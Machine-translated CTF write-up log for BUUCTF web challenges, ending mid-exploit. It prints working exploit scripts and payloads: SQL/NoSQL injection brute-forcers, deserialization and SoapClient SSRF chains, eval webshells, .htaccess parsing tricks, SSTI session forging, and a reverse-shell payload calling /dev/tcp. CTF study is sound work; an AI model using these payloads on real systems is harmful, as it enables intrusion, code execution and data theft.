当前位置:网站首页>Buu question brushing record - 7
Buu question brushing record - 7
2022-06-12 12:37:00 【Arnoldqqq】
[b01lers2020]Space Noodles
Follow page prompts ,POST visit 

Follow the prompts to access the last concatenated string 
[ WANGDING cup 2020 Semifinals ]faka
keyword : unauthorized , Arbitrary file reading
/admin Enter the background login page
Download the source code , Since the background address has been found , To look at first application/admin/controller/Index.php, See if you can use admin Identity login 
You can see pass() There are many validation items in the method , And the following info() There is no requirement
Not logged in none session,id You can enter without passing on valuable words if sentence , To follow up _form Method 
See this again _form_filter Method , Global search , In the same directory User.php Inside 
This $data[‘authorize’], It is permission control , see sql The documents are available authorize=3
visit /admin/Index/info
You can log in with this account and password
There is a backup management in the background. Click Add backup , Then you can download the backup file , You can see the parameters in the packet capture , Possible LFI Loophole 
Direct reading /flag
This is actually the end , But there are also file upload vulnerabilities , Detailed steps reference :https://blog.csdn.net/rfrder/article/details/115067196
Screenshot of key points 
[FBCTF2019]Products Manager
keyword : Constraint based SQL attack
Start audit , First see add.php Of handle_post() When none of the parameters is empty , And secret That is, the password passes validata_secret Function test ( That is, there are upper and lower case letters and numbers and 10 Above position ), If the product does not exist in the database , Then insert data 

View.php If the password and account number are correct, the product will be displayed 
That should be sql Yes ,db.php Give a hint ,flag stay facebook User Description that 
But preprocessing is used where data is inserted The echoed place is html Entity 

I need to use Constraint based SQL attack
1. Database string comparison
When the database compares strings , If the length of two strings is different , The end of the shorter string is filled with spaces , Make the length of two strings consistent , such as , character string A:[String] And string B:[String2] When comparing , because String2 Than String One more string , At this time MySQL Will string A Fill in with [String ], That is, a space is added after the original string , Make the two strings the same length .
The following two query statements :
select * from users where username='Dumb'
select * from users where username='Dumb '
Their query results are consistent , In the second query statement Dumb The following space has no effect on the query . Because in MySQL Put... In the query statement username And in the database username When comparing values , They are just a string comparison operation , Conform to the above characteristics .
2. INSERT truncation
This is another feature of the database , When designing a field , We all have to set a maximum length , such as CHAR(10),VARCHAR(20) wait . But when the length of the actual inserted data exceeds the limit , The database truncates it , Keep only the limited length .
When logging in, you can register a name called [facebook done] Users of , That is, add a string of spaces after the target user name ( Be careful : A space must be followed by one or more arbitrary characters , Prevent the program from matching to the target user when checking whether the user name already exists ), The length of the space should exceed the limit of the database field , Let it force truncation . After registering the user name , Due to the problem of truncation , At this point, our user name is :[ facebook ], That is, except for a string of blank spaces , Our user name is the same as the target user name , So when you log in, because Database string comparison Characteristics of , Finally, the user name obtained by the program is the target user name .
Limiting conditions :
- The server does not limit the length of the user name . If the server limits the length of the user name, the database cannot be truncated , There are no conditions for utilization .
- Login for verification SQL Statement must be authenticated with username and password . If the verification process is to find out the corresponding password according to the user name , Then compare the passwords , Then it can not be used . Because when used Dumb To query the password for the user name , The database will now return two records , Generally, the first entry is the record of the target user , The password you transmitted must not match the password of the target user .
- The user name passed in by the user must be returned after successful authentication , Not the user name taken from the database . Because when we take users Dumb And password 123456 Landing time , In fact, the database returns our own user information , Our user name is actually [Dumb
], If the subsequent business logic is subject to the user name , Then we can't achieve the purpose of overstepping our authority .
Because there is 64 The length of bytes , So our names are bigger than 64 byte , for example facebook( Lots of spaces )1, This is registered as a user name , After successfully registering the user , We use it facebook As the user name and the password we just set .
Name:facebook 11
Secret:Aa123456789
Description:123
Login after registration facebook Users can 
[Zer0pts2020]phpNantokaAdmin
keyword :sqlite Inject bypass
A simple web Database operation platform , You can create table fields to insert data 
Special characters are available : [email protected]$%^&_+=|~?<>[]{}:;.
The competition should be unable to read the source code fuzz Of 
Sqlite characteristic bypass
- select When , When column names are separated by white space characters ,sqlite Only the character before the space will be used as the column name , And ignore the characters after the space
select [id][fdas3"`] from test //1 select [id]"dgfsgfs" from test
//1
select [id]fdas from test
//1
The first column name can be read normally . The second one will be ignored automatically
[] and ’、"、`、 You can also package column names

sqlite Sure create table … as select … The function is based on SELECT Results to create a table
Input :
table_name=[aaa]as select [sql][&columns[0][name]=]from sqlite_master;&columns[0][type]=2
$sql = "CREATE TABLE [aaa] as select [sql][ (dummy1 TEXT, dummy2 TEXT, `]from sqlite_master;` 2);";
be equal to :
create table [aaa] as select sql from sqlite_master
lookup sqlite_master in sql The value of the column is placed in aaa In the table
Post /?page=create
table_name=[aaa]as select [flag_2a2d04c3][&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2
[ Yangcheng Cup 2020]EasySer
keyword :HTTP Parameter detection 、 Deserialization ,ssrf
adopt robots.txt obtain /star1.php

At first glance, this is ssrf 了 star1.php?path=http://127.0.0.1/star1.php
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{
//flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?>
Exp:
<?php
class GWHT{
public $hero;
}
class Yongen{
//flag.php
public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
public $text="PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4=";
}
$a = new GWHT();
$a->hero=new Yongen();
echo serialize($a);
?>
Payload With , however .. My parameters !!! No place to submit
use Arjun Blast
star1.php?path=http://127.0.0.1/star1.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:36:"PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4=";}}
Then the ant sword connects shell.php that will do
[FireshellCTF2020]URL TO PDF
keyword :ssrf xss
direct file:///etc/passwd Show url error , You can only access the Internet
The reptiles used are WeasyPrint, This crawl won't render js, But it can be analyzed <link attachment=xxx>
Vps Put one on the table index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///flag">
</body>
</html>
Download it pdf file binwalk -e Deal with or use Poppler
pdfdetach -list 5c8b3275e7b5f4b8d2556408a5bb00d5.pdf
pdfdetach -save 1 5c8b3275e7b5f4b8d2556408a5bb00d5.pdf

Poppler It's based on xpdf-3.0 Code base PDF Rendering Library . It contains the following for operation PDF Command line feature set of the document . ◈
pdfdetach – List or extract embedded files .◈ pdffonts – Font Analyzer .◈ pdfimages – Picture extractor .◈
pdfinfo – document information .◈ pdfseparate – Page extractor .◈ pdfsig – Check the digital signature .◈ pdftocairo
– PDF To PNG/JPEG/PDF/PS/EPS/SVG converter , Use Cairo .◈ pdftohtml – PDF To
HTML converter .◈ pdftoppm – PDF To PPM/PNG/JPEG Picture Converter .◈ pdftops – PDF To
PostScript (PS) converter .◈ pdftotext – Text extraction .◈ pdfunite – Document merge tool .For the purpose of this guide , We only use pdftops function .
Based on Arch Linux On the distribution of , install Poppler, function :
$ sudo pacman -S popplerstay Debian、Ubuntu、Linux Mint On :
$ sudo apt-get install poppler-utilsstay RHEL、CentOS、Fedora On :
$ sudo yum install poppler-utils
[2021 Xiangyun cup ]Package Manager 2021
keyword :mongodb typescript SQL Inject 
Tips Try to create your own package and submit it to the Administrator :), Register any user There are submissions package The function of 
I thought it was xss , Submit package then admin That one bot spot , See the source code that also has bots.js
View source code , Found to be SQL Inject .......
Waf The regularity of does not add ^$, So you can bypass , As long as there is 32 Bit string that meets the regular requirements
Such as : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a
Mongoose It's a way for us to get through Node To operate MongoDB A module of the database 
Go to /auth Just send a message token Grab the bag and get csrf session Fill in the script
Exp:
import requests
import string
url="http://543e1255-f147-463f-b41b-04d92e06652e.node4.buuoj.cn:81/auth"
headers={
"Cookie": "session=s:SFNpUakZ1v5D3jBsEwvqrt-saSWfjFFO.64UD/FybzWsT+aTbgfUdNEifdXv4GEKo8MMa9eKsiQc"
}
flag = ''
for i in range(10000):
for j in string.printable:
if j == '"':
continue
payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
#print(payload)
data={
"_csrf":"BRDHiXdk-o032Lm9KjDAR6ECrQjneorPS-_k",
"token":payload
}
r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
#print(r.text)
if "Found. Redirecting to" in r.text:
#print(payload)
flag+=j
print(flag)
break
"[email protected]#&@&@efefef*@((@))grgregret3r"

[ Geek challenge 2020]Roamphp2-Myblog
keyword : Pseudo protocol file read ,zip Pseudo protocol trigger shell
?page=php://filter/read=convert.base64-encode/resource=login
Read the source code
<?php
//login.php
require_once("secret.php");
$secret_seed = mt_rand(); //secret.php The content of
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
// The following is a admin/user.php The content of
// Login section
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){
// No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
// File upload section
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){
$allows = array('gif','jpeg','jpg','png');
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){
return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
} else {
echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
}
}
}
You can see that the password is the same as the double random number Can't get $_SESSION['password'] Value , But you can just leave it blank password Also empty It can also satisfy $_POST['password'] == $_SESSION['password'] Successfully logged in 
The uploaded code is filtered and the suffix is written , But you can upload zip Change suffix to jpg, use zip Pseudo protocol does not affect triggering
Pass a 2.php Write horse Compressed into zip Change suffix to upload 
/index.php?page=zip://./assets/img/upload/1160160437d57e26b63d22d548c3e87c5e93423f.jpg%232
cmd=system('cat /flllaggggggggg_isssssssssss_heeeeeeeeeere');

[De1CTF 2019]ShellShellShell
keyword :sql Inject , Deserialize native classes ,ssrf, Bypass unlink()
These two questions are stitched together ,tmd So hard
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540
A login interface ,action That input register You can also register , here md5 The verification code of uses script explosion
# -*- coding:utf-8 -*-
import hashlib
for num in range(10000,9999999999):
res = hashlib.md5(str(num).encode()).hexdigest()
if res[0:5] == "af1e5":
print(str(num))
break
Sign up for a test The user logs in to view , only one publish The function of 
Possible sql Inject , But the test didn't respond
Dirsearch Scanning the directory found index.php~ file , It is the backup file left by the editor 
Action Is written to die in a list , You can see another phpinfo
hold config.php~ user.php~ Let's have a look
User.php There is an upload, but it needs admin jurisdiction 
Follow up the first half of this insert function , stay config.php
The written data will be first get_column Function processing , Will be wrapped in back quotation marks 
The key point is actually preg_replace that , All backquotes are converted to single quotes , Then you can inject 
Use `) To close , The injection point is signature Location , Final executed sql The statement is shown in the figure 
Exp:
# encoding=utf-8
#python2
import requests
import string
import time
url = 'http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/index.php?action=publish'
cookies = {
"PHPSESSID": "vama32u1uclof287jhsrguv0q2"}
data = {
"signature": "",
"mood": 0
}
table = string.digits + string.lowercase + string.uppercase
def post():
password = ""
for i in range(1, 33):
for j in table:
signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j)) # here 0x61646d696e yes admin The hexadecimal of , Of course with `admin` Instead, you can
data["signature"] = signature
#print(data)
try:
re = requests.post(url, cookies = cookies, data = data, timeout = 3)
#print(re.text)
except:
password += j
print(password)
break
print(password)
def main():
post()
if __name__ == '__main__':
main()
The password for jaivypassword
See login here again , To log in admin The user will also detect ip, And is $_SERVER[‘REMOTE_ADDR’] No forgery , Then you can only find one ssrf The point of , Log in 
Find a deserialization point to use php Primitive class soapclient Deserialization Conduct ssrf, adopt ?action=phpinfo notice php Open the soap expand , This is not admin When you enter this if sentence , Then take the data of the second row and deserialize it 

Get the local ip, Then, after serializing the content, use addslashes Transference , You can use mysql When reading data, you will put the 16 The property of binary conversion to the original string bypasses this escape 
Generate serialization payload Script for :
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=Ixk5iXwrUkJdacRF553V';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=gkpe4nhjg5dhv2l3kk5o6tglh4'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
there code also PHPSESSID It needs to be the same as what we are going to use to log in , Pre generate a session from our browser , Solve the verification code locally , And will PHPSESSID Send to the verification code together with the request and the solution of the verification code ( The solution of the verification code is associated with our session ). If SSRF success , this PHPSESSID Will be an administrator authenticated session . To prevent interference, open two browsers , One hit , One ready to log in
The generated payload, Call sql Where it is injected
There is no obstacle in uploading , Just send it directly , Script automation is used here ,https://github.com/rkmylo/ctf-write-ups/blob/master/2018-n1ctf/web/easy-php-540/solve_ssrf_rce.py Take the script of the original question and change it
#python2
import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib
_target = 'http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/'
_action = _target + 'index.php?action='
def get_creds():
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return username, password
def solve_code(html):
code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
for num in range(10000,99999999):
res = hashlib.md5(str(num).encode()).hexdigest()
if res[0:5] == code:
print(str(num))
return str(num)
break
def register(username, password):
resp = sess.get(_action+'register')
code = solve_code(resp.text)
sess.post(_action+'register', data={
'username':username,'password':password,'code':code})
return True
def login(username, password):
resp = sess.get(_action+'login')
code = solve_code(resp.text)
sess.post(_action+'login', data={
'username':username,'password':password,'code':code})
return True
def publish(sig, mood):
return sess.post(_action+'publish', data={
'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})
def get_prc_now():
# date_default_timezone_set("PRC") is not important
return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])
def get_admin_session():
sess = requests.Session()
resp = sess.get(_action+'login')
code = solve_code(resp.text)
return sess.cookies.get_dict()['PHPSESSID'], code
def brute_filename(prefix, ts, sessid):
ds = [''.join(i) for i in product(string.digits, repeat=3)]
ds += [''.join(i) for i in product(string.digits, repeat=2)]
# find uploaded file in max 1100 requests
for d in ds:
f = prefix + ts + d + '.jpg'
resp = requests.get(_target+'adminpic/'+f, cookies={
'PHPSESSID':sessid})
if resp.status_code == 200:
return f
return False
print '[+] creating user session to trigger ssrf'
sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] + ' '
print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
print code
ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: {}\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, len(code)+43, code)
print ssrf
mood = 'O:10:\"SoapClient\":4:{
{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))
payload = 'a`,{})#'.format(mood)
print '[+] final sqli/ssrf payload: ' + payload
print '[+] injecting payload through sqli'
resp = publish(payload, '0')
print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})
print '[+] admin session => ' + phpsessid
# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({
'PHPSESSID': phpsessid})
print '[+] uploading stager'
shell = {
'pic': ('test.php', '<?php eval($_POST[cmd]);', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})
print(resp.text)
prc_now = get_prc_now()[:-1] # get epoch immediately
if 'upload success' not in resp.text:
print '[-] failed to upload shell, check admin session manually'
sys.exit(0)

The Trojan horse has been uploaded to /upload/test.php Just connect the ant sword , password cmd
Follow the prompts on the intranet , Open the virtual terminal , View network card information , Found the intranet ip paragraph , You can scan ports with plug-ins 
use curl Save the contents of the page , I this -O Failed to save Directly copy it out and save it 

For non array filename A bunch of strict restrictions , But there are no restrictions on arrays , So we can consider using arrays to bypass , requirement filename Of end and filename Of [count-1] Can't be equal , Then just send two directly, such as :file[1]=111&file[2]=php

Here is the random file name used to save the file , And finally unlink Delete file , Construct the file name traversed by the directory to bypass /../shell.php
Reference resources :https://blog.csdn.net/a3320315/article/details/104132751
utilize postman structure phpcurl package 
there file that shell.php The content is @<?php echofind /etc -name flag -exec cat {} +;
hello The name of that file should be the same as that of the uploaded file , Otherwise you won't be able to access 
Code That generates code , But it doesn't generate shell.php The content of , You have to add it yourself , Refer to Mr. Zhao's , I don't bother to log in and upload here. I just created a new one in the ant sword , After saving, you can access it directly
<?php
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'http://10.0.97.6',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\nContent-Type: false\r\n\r\[email protected]<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntest.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n/../test.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
));
$response = curl_exec($curl);
curl_close($curl);
echo $response;

Of course, the steps of uploading files here can also be used directly in the virtual terminal curl, Upload a shell.php To the terminal under the same directory
@<?php echo `find /etc -name *flag* -exec cat {} +`;
If used -F Parameters ,curl It'll take multipart/form-data By sending POST request .-F Parameter with name=value To specify the parameter content , If the value is a file , You need to [email protected] How to specify .
curl 'http://10.0.97.6' -F 'hello=test.php' -F '[email protected]' -F 'file[1]=111' -F 'file[2]=./../test.php'

[JMCTF 2021]UploadHub
keyword :.htaccess Open the current directory php analysis
Made a white list of suffixes 
Looking at the source code, I almost thought it was sql Yes , There is also a in the source code package apache2.conf In profile php_flag engine Set to 0, Will close the directory and subdirectories php analysis 
By uploading .htaccess The file in /upload Open the directory php analysis
<FilesMatch .htaccess>
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>
php_value auto_prepend_file .htaccess
#<?php eval($_POST['cmd']);?>
Force all matching files to be processed by a specified processor
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
php_flag engine on # Turn on PHP Parsing php_value auto_prepend_file .htaccess
Automatically resolve the include before the main file is resolved .htaccess The content of
see phpinfo notice system And other common command execution functions are disabled
var_dump(file_get_contents("/flag"));
Or use <file> label , Its priority is higher than <directory>
<Files "*.gif">
SetHandler application/x-httpd-php
php_flag engine on
</Files>
Upload another gif Suffixed horse is OK
Regular blind notes can also be used
import requests
import string
import hashlib
ip = '74310c5695d734e667dc2250a05dcd29'// Change it to your own
print(ip)
def check(a):
htaccess = ''' <If "file('/flag')=~ /'''+a+'''/"> ErrorDocument 404 "wupco6" </If> '''
resp = requests.post("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/index.php?id=69660",data={
'submit': 'submit'}, files={
'file': ('.htaccess',htaccess)} )
a = requests.get("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/upload/"+ip+"/a").text
if "wupco" not in a:
return False
else:
print(a)
return True
flag = "flag{"
check(flag)
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue
[FireshellCTF2020]ScreenShooter
keyword :CVE-2019-17221 Reptiles xml
A screenshot of a web page , Tried the file The agreement doesn't work 
https://beeceptor.com/ You can check http request , After we create an endpoint , Request the endpoint within the web page , View the crawler information used , I can't get the requested information when I do it myself , Later, it was found that it could not be used https
You can clearly see the use of PhantomJS Reptiles , Search for PhantomJS An arbitrary file upload vulnerability was found CVE-2019-17221, adopt file://URL Of XMLHttpRequest Trigger 
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript"> var karsa; karsa = new XMLHttpRequest; karsa.onload = function(){
document.write(this.responseText) }; karsa.open("GET","file:///flag"); karsa.send(); </script>
</body>
</html>
lose vps Let the target plane access
[CISCN2019 The NBA finals Day1 Web3]Flask Message Board
keyword : Template Injection ,session forge
Test template injection , Fill in all three { {10*10}} Direct hint hacker 了 
A separate Author That's fine , The other two are normally filled ,{ {config}} obtain secret_key
forge session get admin identity 
flask-unsign --sign --cookie "{'admin': True}" --secret “11|iilIilI11|1|IlIII1l1||11ilI|I1i1iIlI1”

But there seems to be something wrong with the environment , this session I kali and win Have been generated several times , visit /admin It still shows that it is not admin Of session, It's always wrong to run a loop with a script
import requests
import re,sys
from flask.sessions import SecureCookieSessionInterface
target = 'http://aa94f7b4-108d-4bd8-a7f1-513c1174daea.node4.buuoj.cn:81/'
secret_key = 'IiI1|li1|l|il1illlillI1||I1l|IIl1i1||iI|'
class App(object):
def __init__(self):
self.secret_key = None
app = App()
app.secret_key = secret_key
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
while(1):
session = serializer.dumps({
'admin':True})
print(session)
r = requests.get(target+'/admin', cookies={
'session':session}).text
if 'Settings' in r:
print('fixed')
exit(0)

stay Content Enter a length of 1024 String , for example aaaaaabxCZC, You can see flag.

[WMCTF2020]Web Check in 2.0
keyword : php _filter Filter removal exit();
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
echo($content);
file_put_contents($content,'<?php exit();'.$content);
}
To get around this exit(); It's added to the front of our content. It can't be done by annotators Usually available php The encoder
https://xz.aliyun.com/t/8163#toc-0
The usual ones here are all done But there are also two compression filters
https://www.php.net/manual/zh/filters.compression.php
payload:
?content=php://filter/zlib.deflate/string.tolower/zlib.inflate/?><?php%0deval($_GET[cmd]);?>/resource=test.php
After coding and decoding combined fist e It's gone 

There's another way But it is invalid in this question Because you don't know flag file name , If you write a horse, it will be removed by this filter
php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20G:\test.php%0a%23/resource=.htaccess
string.strip_tags // Remove... From the string HTML and PHP Mark ,php7.3 Repeal after
PyCalX 1&2
keyword : Command execution injection Python Format string vulnerability
PyCalx1

Directly see how the final executed statements are spliced 

If you enter a number, you will introduce a single quotation mark 
get_op Only the first character is filtered and verified , So we can introduce single quotation marks in the second place 
The result after final splicing is shown in the figure , Use # Comment out the extra single quotation marks 
The result is bool Value or contains only [0-9] Only when the output is 
Then just run like blind injection
# coding=utf-8
import string
import requests
import sys
from urllib import quote
if __name__ == '__main__':
reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits
Flag = "flag{"
url = "http://c3e752a6-849e-4e78-ab4f-6c3f890b6673.node4.buuoj.cn:81/cgi-bin/pycalx.py?value1=t&op=%2B%27&value2=+and+True+and+source+in+FLAG%23&source=" + quote(
Flag)
for i in range(100):
for x in reg_str:
url_t = url + quote(x)
print url_t
html = requests.get(url_t).content
if '''True >>>''' in html:
url = url_t
Flag = Flag + x
print Flag
break
PyCalx2
stay python3.6.2 In the version ,PEP 498 A new string format mechanism is proposed , go by the name of “ String interpolation ” Or a more common form of address is F-strings
F-strings Provides a clear and convenient way to python Expressions are embedded in strings for formatting .
Use F-strings No need to escape single quotation marks , Because it supports expressions that can use if else.
In short, you can easily insert an expression directly into a string , With f start , The expression is inserted in braces {} in , At run time, the expression is evaluated and replaced with the corresponding value
[Black Watch Group questions ]Web2
Failed to register any account 
Test in the login interface sql Injection found waf, It's OK to register and input anything





[2021 Xiangyun cup ]secrets_of_admin
key word :
SSRF CVE-2019-15138
Index.ts You can see a login and pdf The function of template rendering 
The generated file is saved in files Under the table of contents , The file name is from uuid form , Ownership of documents superuser user 
/api/files Routes can be added filelog , And the user is the currently logged in user , But there are local restrictions , need ssrf
/api/files/:id The contents of the file can be read at , But be careful not to read superuser User's files 
See the database file again , It's written directly admin User password , At the same time flag file information , The document belongs to superuser user
In other words, the generated pdf Document and flag file 
Then according to the above information , The idea of reading files should be admin After account login ssrf visit /api/files Routing pair files A file in a directory , Associate in the database , Re pass /api/files/:id To read
Use CVE-2019-15138 hit ssrf https://security.snyk.io/vuln/SNYK-JS-HTMLPDF-467248
Use arrays to bypass filtering 
content[]=<img+src%3D"http%3A//127.0.0.1:8888/api/files?username%3Dadmin%26filename%3D./flag%26checksum%3D123">
content[]=%3Cscript%3E%0Avar%20xhr%20%3D%20new%20XMLHttpRequest()%3Bxhr.open(%22GET%22%2C%20%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D.%2Fflag%26checksum%3D123%22%2C%20true)%3Bxhr.send()%3B%0A%3C%2Fscript%3E

Revisit /api/files/123 that will do 
[2021 Xiangyun cup ]cralwer_z
key word : Logical vulnerability replaces malicious service address ,zombiejs Code injection vulnerability
Register to log in and find no useful points , Just sign up for a login
User.js /profile The function of routing, updating personal information and crawling 
also /bucket route 
see utils.checkBucket(bucket) Processing logic , The agreement must be http(s) And it must contain oss-cn-beijing.ichunqiu.com
/profile Routing this can be seen if bucket The address complies with the specification , Then jump to the page with authToken To visit /user/verify, At this time, what is updated is updated personalBucket
Verify Route that if token It works , And through valid Value settings for token It can only be used once , After use valid Will be for false. Update here bucket Used for personalBucket Value 
So it should be sent twice , A normal address acquisition token, Another malicious address replacement for this personalBucket
, Then use the normal package token Go to /verify Then verify , to update bucket
If the command is executed, use zombiejs Code injection vulnerability https://ha.cker.in/index.php/Article/13563
First again vps Build a simple http The server , Let go test.html page , Use the last spliced code 
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/vps/7777 0>&1'],);console.log(ls.output.toString());")()</script>
First use the normal... On the data page bucket Address send a packet to get token, Don't jump to verification at this time 
Copy a package ,Bucket That should be changed to http://vps:7999/test.html#.oss-cn-beijing.ichunqiu.com/ that will do 
Finished sending , At this time bucket It hasn't changed , Back to the original package , Click follow 302 Jump button 
here /user/bucket The address of has been changed to vps 了 
visit /user/bucket Can trigger rce

[ Hongminggu CTF 2021]EasyTP
key word :think PHP Loophole SQL An error injection Stack Injection
/www.zip Download the source code , Check the controller first , There is an inverse sequence entry 
see ThinkPHP edition Search for ready-made chains ThinkPHP v3.2.* (SQL Inject & File read ) Deserialization POP chain 
Use the article directly payload hit
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // Open to read the file
);
protected $config = array(
"debug" => true,
"database" => "test", // It can be replaced by any existing library
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
